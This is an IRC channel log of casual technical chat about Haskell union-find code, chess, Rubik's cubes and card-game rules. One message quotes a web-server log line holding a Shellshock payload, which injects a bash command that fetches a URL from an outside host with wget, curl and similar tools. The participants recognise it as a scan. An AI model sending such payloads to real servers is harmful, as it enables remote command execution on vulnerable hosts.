:Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :how were the edinburgh people < 1446381383 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :They are STILL HERE < 1446381393 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :morally, the M.IOVector DSP is an immutable vector... and unsafeUnion does an unsafeThaw (not sure what's that called for vectors?). < 1446381428 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :how are the edinburgh people < 1446381438 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Phantom_Hoover: they say "woo" < 1446381439 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(assuming that the path compression is not observable) < 1446381450 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Phantom_Hoover: apparently they are hungry < 1446381472 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :is there a haggis shop nearby < 1446381497 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :I don't think so < 1446381515 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :ok, just deep-fry the contents of your fridge then < 1446381545 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :and that's an interesting question... if several calls to 'find' run concurrently, can they mess up the data structure, one ending up linking a in top of a node b and the other one trying the reverse? < 1446381578 0 :olsner!~salparot@c83-252-193-184.bredband.comhem.se PRIVMSG #esoteric :Taneb: I think I rather just meant "without unsafePerformIO" < 1446381600 0 :olsner!~salparot@c83-252-193-184.bredband.comhem.se PRIVMSG #esoteric :(with runST instead, which is pretty much the same thing with a different type, as I understand things) < 1446381648 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :olsner: hmm, maybe < 1446381713 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :or, easier, what if a call to union 1 2 ds and union 2 1 ds run in parallel, with nodes 1 and 2 of the same rank? the first call will link 1 to 2; the second will link 2 to 1, if the calls are perfectly interleaved. < 1446381758 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i like how the haskell wiki's syntax higlighting doesn't correctly parse ' < 1446381788 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :err, but the array is copied < 1446381804 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I really need to poke a hole into the path compression if I want to break this code. < 1446381900 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :eh what? < 1446381930 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :oh, that kind of union < 1446381934 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :And I don't think that's possible. < 1446381938 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I think I have non-haskell code for that, in like three languages < 1446381946 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :wait < 1446381978 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :oh huh < 1446381993 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :http://www.perlmonks.com/?node_id=764894 a maze generator that uses that kind of thing, I think < 1446381993 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :'parametrise' is british english, 'parameterize' is american? < 1446382011 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :which is in perl, but it's translated from an old program I wrote in C, and I later translated it from perl to ploki < 1446382018 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Phantom_Hoover: yes, British English authorities (other than OED) tend to prefer -ise < 1446382021 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :yes, maze generators are the cutest application for disjoint set forests that I know of. < 1446382032 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :int-e: that was my intention for this afternoon < 1446382040 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Taneb, look closer < 1446382050 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Phantom_Hoover: oooh < 1446382066 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :What < 1446382149 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i always spelt it parametrise, i was starting to think i'd been getting it wrong < 1446382194 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :I'd spell it parametrize. < 1446382236 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Taneb: Ok, so my conclusion is that you're right: The pure interface is fine. But besides interacting with the pure interface, unsafeUnion also has a problem with concurrency. < 1446382277 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :If only I knew someone who could test concurrent code < 1446382278 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Oh wait < 1446382296 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :I'm in the room with someone who did a talk on that at Haskell Symposium < 1446382357 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :https://www.youtube.com/watch?v=84NwnSltHFo waaa < 1446382411 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Taneb: I'm sure that my example (merging two nodes of the same rank both ways) works in principle... but triggering it may be quite tedious. < 1446382680 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :izabera: why waaa? < 1446382708 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :it's the first time i've been asked that < 1446382715 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i don't know < 1446382716 0 :jaboja!~jaboja@erq224.neoplus.adsl.tpnet.pl QUIT :Remote host closed the connection < 1446382726 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :half fangirling, half shocked < 1446382769 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :why do you make me think about things < 1446382773 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :my brain hurts < 1446382858 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I'd say I'm sorry, but it would be a lie. < 1446382991 0 :fizzie!?@? PRIVMSG #esoteric :Shouldn't that sort of utterances have some ~s or something. < 1446383065 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :izabera: wow < 1446383147 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :Taneb: why wow < 1446383156 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :ACTION plans her revenge < 1446383159 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :izabera: it's impressive seeing people that good at chess < 1446383163 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :D: < 1446383165 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :I was wowing the video, not you < 1446383168 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :that's an actual good answer D: < 1446383175 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :dammit < 1446383192 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i should travel back in time and answer that to int-e < 1446383209 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :btw, do you know how many people use your pastebin? I find it quite handy < 1446383222 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :you can really see that high-level chess is mostly about recall < 1446383226 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :dunno but i can check the logs < 1446383241 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :what's this pastebin < 1446383245 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :Phantom_Hoover: s/chess/everything/ < 1446383264 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :http://arin.ga/ < 1446383265 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Hmm, I did interpret "waaa" as an expression of dismay. < 1446383283 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :so that was wrong. < 1446383418 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :izabera@amazon ~ $ awk '/GET/ { a[$1]++ } END { print length(a) }' /var/log/httpd/access_log* < 1446383420 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :933 < 1446383422 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :izabera@amazon ~ $ awk '/POST/ { a[$1]++ } END { print length(a) }' /var/log/httpd/access_log* < 1446383424 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :58 < 1446383453 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Phantom_Hoover: I'm not sure that's fair. You also have to play well after the first novelty of the game... see attack patterns that appear on the board 3 moves away... < 1446383453 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :since august < 1446383472 0 :olsner!~salparot@c83-252-193-184.bredband.comhem.se PRIVMSG #esoteric :what's $1 there? < 1446383478 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :the ip < 1446383522 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :int-e, i admit to having only received opinions on chess < 1446383534 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :is that a lot? < 1446383558 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :ACTION labels it as large scale < 1446383637 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :hmm my awk doesn't like that code... < 1446383650 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :length(array) works in gawk < 1446383661 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :actually... never mind. < 1446383712 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :if pro chess is anything like pro rubiks cube, then it's all pattern recognition < 1446383767 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :well the rubik's cube isn't fighting back < 1446383780 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :ACTION has just paied £211.45 for pizza < 1446383785 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :though you could do competitive cubing, where the one who finishes wins... < 1446383797 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :there are competitions < 1446383809 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :no i mean competitive iterated cubing < 1446383818 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :elaborate < 1446383830 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i twist the cube, you twist the cube < 1446383840 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :whoever twists it so it's solved wins < 1446383858 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :mmh < 1446383861 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :kind of unfair < 1446383862 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :probably would just be a deadlock though < 1446383884 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :the problem is that there's no winning strategy for one of them < 1446383895 0 :idris-bot!~idris-bot@dslb-084-063-181-126.084.063.pools.vodafone-ip.de QUIT :Ping timeout: 268 seconds < 1446383910 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :isn't the same true of chess < 1446383914 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :no < 1446383925 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :if you use an odd number of moves to scramble the cube, it takes an odd number of moves to solve it < 1446383938 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :one of them has literally no chance of winning < 1446383949 0 :Melvar!~melvar@dslb-084-063-181-126.084.063.pools.vodafone-ip.de QUIT :Ping timeout: 252 seconds < 1446383954 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :izabera: no, neither has a chance to winning < 1446383957 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :it's an infinite loop < 1446383964 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :nobody will turn the cube to one turn from the solved state < 1446383971 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :well sure < 1446383980 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :b_jonas: one of them can win if the other is an idiot < 1446383987 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Taneb: yeah... < 1446383994 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric : if you use an odd number of moves to scramble the cube, it takes an odd number of moves to solve it < 1446383996 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :wait really? < 1446383999 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :yes < 1446384044 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :fine, you can do 180 degree twists if you want to < 1446384056 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :ok < 1446384065 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :then, what b_jonas said < 1446384070 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :so many proxy tests... < 1446384099 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :oh well < 1446384109 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :did you read that recent article about infinite chess ordinals < 1446384121 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i guess it'd be more fun if you allow each player X number of moves < 1446384142 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Phantom_Hoover: of course < 1446384149 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :let's say 10 moves so you can get to a non trivially close state < 1446384192 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :cute... "GET /cgi-bin/index.cgi HTTP/1.1" 404 386 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -O /dev/null http://www.testvc.it/TESTONLY; curl -O /dev/null http://www.testvc.it/TESTONLY; fetch http://www.testvc.it/TESTONLY; GET http://www.testvc.it/TESTONLY; lwp-download http://www.testvc.it/TESTONLY; lynx http://www.testvc.it/TESTONLY\");'" < 1446384210 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Phantom_Hoover: http://mathoverflow.net/a/122250/35417 < 1446384235 0 :Melvar!~melvar@dslb-092-072-150-031.092.072.pools.vodafone-ip.de JOIN :#esoteric < 1446384256 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :izabera: yes, the bash poisioning bug. very popular in http logs these days. < 1446384260 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i still don't entirely understand this one: http://jdh.hamkins.org/wp-content/uploads/2013/02/Value-omega-squared.jpg < 1446384260 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :int-e: what is that < 1446384271 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :b_jonas: sorry what? < 1446384290 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :b_jonas, i think you meant int-e < 1446384293 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :oh it's a shellshock test? < 1446384324 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :izabera: yes < 1446384334 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the internet is full of those now < 1446384334 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :izabera: somebody trying to exploit a badly written cgi script... which doesn't exist, but never mind that. < 1446384335 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :i guess i should check for something like that in my logs < 1446384336 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :no wonder < 1446384359 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :anyway i don't see how the rook/king arrangement on the right allows black to delay for an unbounded finite amount of time < 1446384374 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I don't think I have cgi enabled on that host < 1446384378 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :int-e: people were always trying to exploit non-existing scripts. including wordpress and other buggy software. < 1446384396 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :int-e: sure, but an attacker can't tell that easily. < 1446384421 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Oh I know, I'm just amused. < 1446384455 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I have such urls in my webserver log too. < 1446384458 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :If I wanted to scan hosts for vulnerabilities I would probably do it the same way... there's no harm in causing 404 errors. < 1446384529 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :if black can just keep checking the white king then the game can go on indefinitely < 1446384544 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Phantom_Hoover: nope! < 1446384552 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :ok but why not < 1446384561 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :(modern) chess is guaranteed to terminate thanks to some rules about tying < 1446384576 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :50 moves without a piece being taken or a pawn moving is a tie < 1446384583 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :yes but this is infinite chess < 1446384591 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :those rules are (presumably) being ignored < 1446384591 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :? < 1446384599 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :oh right ok http://jdh.hamkins.org/tag/infinite-chess/ < 1446384611 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i forgot only b_jonas seemed familiar < 1446384637 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :what < 1446384714 0 :J_Arcane!~chatzilla@37-219-84-140.nat.bb.dnainternet.fi QUIT :Ping timeout: 255 seconds < 1446385014 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :ok, i see now < 1446385046 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :I've made an almost identical version of my disjoint set library, except it uses ST < 1446386196 0 :mauris!~mauris@unaffiliated/nooodl QUIT :Ping timeout: 265 seconds < 1446386859 0 :J_Arcane!~chatzilla@37-219-84-140.nat.bb.dnainternet.fi JOIN :#esoteric < 1446386879 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :Hi, fungot! Do you like pizza? < 1446386879 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :Taneb: purpose: set cursor location ( flo) should be called, the < 1446386893 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :sure, pizza is great! < 1446386895 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :I don't think pizza has a cursor function, fungot... < 1446386895 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :Taneb: a specific way. unfortunately basic isn't fast enough to do rs-232 type things. the formatting must be searched to find a copy of your machine language subroutine located at the end of your equipment. < 1446386921 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :pizza is a blessing for every English scrabble player since ZA became an acceptible word < 1446386988 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fungot: explain "the end of your equipment" please < 1446386988 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :int-e: by using the not is determined by the open routine can be added by the memory of your machine language < 1446387017 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :mystifying < 1446387030 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Traditional Chinese culture is even more of a blessing to English scrabble players since QI became an acceptible word, mind you < 1446387105 0 :fizzie!?@? PRIVMSG #esoteric :fungot: Are you written in machine language? < 1446387105 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :fizzie: the file-name already exists, the < 1446387120 0 :fizzie!?@? PRIVMSG #esoteric :fungot: Just say yes or no. < 1446387121 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :fizzie: chip register 24 ( 18) the program above hits line 120 displays the word displayed will be processed when the function definition will use the tab and spc in- structions either change the memory map of useful locations is 4. < 1446387133 0 :fizzie!?@? PRIVMSG #esoteric :The memory map of useful locations is 4. < 1446387414 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fungot, do you write better optimized code than modern compilers? < 1446387414 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :b_jonas: closing an rs-232 open command may specify a character from the direct audio path. setting bit 5 of the number of double-quote marks ( " 0, so only colors 0-7 may be in either the background, and jump through the various flags or the accumulator < 1446387442 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fungot: yes, sounds like a good plan < 1446387442 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :b_jonas: action: the on statement. in order to create the data bus, the chief function is called, the irq output is a one, the < 1446387570 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fungot: how does being memoryless feel anyway? < 1446387570 0 :fungot!~fungot@momus.zem.fi PRIVMSG #esoteric :int-e: bit 6 is set, the low-pass output of voice 3 envelope generator. < 1446387604 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Hmm, good answer actually. < 1446387709 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Phantom_Hoover: the paper explains that the white king can always move diagonally towards the rook giving check, so it ends after a finite (arbitrarily large) time < 1446387726 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :yeah < 1446387783 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :"white aims ultimately to open the portcullis and release the queens into the mating chamber at right." < 1446387803 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Yes, it's typical esoteric material < 1446387813 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :good idea from Phantom_Hoover to bring it up < 1446387824 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ugh, who will deal with the princesses and princes? < 1446387863 0 :FireFly!firefly@oftn/member/FireFly PRIVMSG #esoteric :oh, I read "at night" < 1446387868 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :it even explicitly considers computability < 1446388259 0 :Taneb!~Taneb@runciman.default.hacksoc.uk0.bigv.io PRIVMSG #esoteric :@botsnack < 1446388259 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric ::) < 1446388508 0 :izabera!~izabera@unaffiliated/izabera PRIVMSG #esoteric :http://imgur.com/gallery/UsEVPoM you all need to see this < 1446388561 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@uptime < 1446388561 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric :uptime: 1m 6d 17h 31m 14s, longest uptime: 1m 10d 23h 44m 29s < 1446388688 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> 1 < 1446388690 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : 1 < 1446389150 0 :FireFly!firefly@oftn/member/FireFly PRIVMSG #esoteric :`uptime < 1446389155 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ 14:45:30 up 0 min, 0 users, load average: 0.00, 0.00, 0.00 < 1446390275 0 :GoToTell!~GotoTell@62.205.122.214 QUIT :Quit: HydraIRC -> http://www.hydrairc.com <- Nine out of ten l33t h4x0rz prefer it < 1446392642 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :More stuff I got wrong. If a creature is destroyed while it has a damage-dealing ability on the stack, it deals the damage anyway. If something "costs (1) more to cast", and you "cast it without paying its mana cost", then you pay (1) to do so. < 1446392686 0 :tswett!~tswett@unaffiliated/tswett PRIVMSG #esoteric :112.7a, 608.2g, 601.2f, 702.74. < 1446392870 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07TeaScript14]]4 10 02http://esolangs.org/w/index.php?diff=45030&oldid=44923 5* 03Vihan 5* (-92) 10/* Removing periods */ < 1446393211 0 :mauris!~mauris@unaffiliated/nooodl JOIN :#esoteric < 1446393221 0 :Wright!~Wright@c-98-225-44-92.hsd1.wa.comcast.net JOIN :#esoteric < 1446395159 0 :bender!~benderx2@unaffiliated/bender/x-9459530 QUIT :Ping timeout: 240 seconds < 1446395222 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :The additional costing (1) more is not part of its mana cost < 1446395238 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :(Unless something explicitly changes the mana cost, I suppose.) < 1446395289 0 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1446395872 0 :doesthiswork!~Adium@71-20-42-132.war.clearwire-wmx.net JOIN :#esoteric < 1446396009 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :zzo38: I don't think anything changes mana costs by adding or reducing it. Mana costs can be changed by copy effects, object being face down, permanents being transformed, split spells on the stack. None of these can change mana costs to anything but what's already printed to some card, < 1446396153 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :so I believe you can never make an object with arbitrarily large mana cost, nor with a mana cost of exactly {GUU} for example. < 1446396162 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :no wait, GUU is possible < 1446396168 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I mean {GGU} < 1446396203 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :and I think you can't have a permanent with the mana cost {GUU} either < 1446396458 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :ah great < 1446396510 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric : can you have a card with cost X and "Pay this card's mana cost using only blue and green mana in a 1:2 ratio." < 1446396593 0 :\oren\!~oren@TOROON0949W-LP140-02-1242510774.dsl.bell.ca PRIVMSG #esoteric :I know there's a myr that says to cast it using only mana produced by creatures < 1446396599 0 :zzo38!~zzo38@24-207-56-9.eastlink.ca PRIVMSG #esoteric :I don't think there is anything like that, although it would probably be possible; but then it has to be multiple of three (including possibly zero) < 1446396665 0 :ent0nces!~ent0nces@linux-jord1.cryptostorm.net JOIN :#esoteric < 1446396908 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :\oren\: no, but there's some card with "Pay X with black mana only" or some such ability < 1446396940 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :(Probably only for black. I can't imagine anything other than black or green insisting on that.) < 1446396963 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :It's Consume Spirit, and the phrasing is "Spend only black mana on X." < 1446396966 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Talk:///14]]4 10 02http://esolangs.org/w/index.php?diff=45031&oldid=35475 5* 0324.16.138.191 5* (+449) 10/* Clarifying the specs */ < 1446396975 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :how that works if you reduce the cost I'm not sure < 1446396996 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :oh, it's older than that < 1446396999 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Drain Life, from alpha < 1446397060 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :and I was wrong, it exists in other colors too: Atalya, Samite Master says "Spend only white mana on X." < 1446397105 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :it exists for red too, and "only colored mana", and "only black and/or red mana", but not in green < 1446397145 0 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :\oren\: Taste of Paradise requires you to spend an additional {1}{G} any number of times. does that count? 